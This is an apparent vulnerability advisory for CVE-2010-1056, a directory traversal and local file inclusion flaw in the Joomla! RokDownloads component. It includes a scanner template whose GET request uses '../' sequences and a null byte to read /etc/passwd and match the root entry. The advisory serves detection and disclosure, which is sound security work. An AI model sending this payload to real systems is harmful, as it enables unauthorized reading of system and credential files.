CVE-2010-1056: Joomla! Component com_rokdownloads - Local File Inclusion

2025-08-01 Joomla! Component com_rokdownloads PoC Public

Description

A directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

PoC

id: CVE-2010-1056

info:
  name: Joomla! Component com_rokdownloads - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11760
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1056
    - http://www.rockettheme.com/extensions-updates/638-rokdownloads-10-released
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56898
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1056
    cwe-id: CWE-22
    epss-score: 0.11414
    epss-percentile: 0.95776
    cpe: cpe:2.3:a:rockettheme:com_rokdownloads:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rockettheme
    product: com_rokdownloads
  tags: cve,cve2010,joomla,lfi,edb,rockettheme,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210089577d435e22aa691203c0bdb189fc10856ba026569f36952f8ebeb801a7a28f0220325d6e6c274fc30d3d90ac742f8860b3111865baeba2fd46124489401366c71e:922c64590222798bb761d5b6d8e72950

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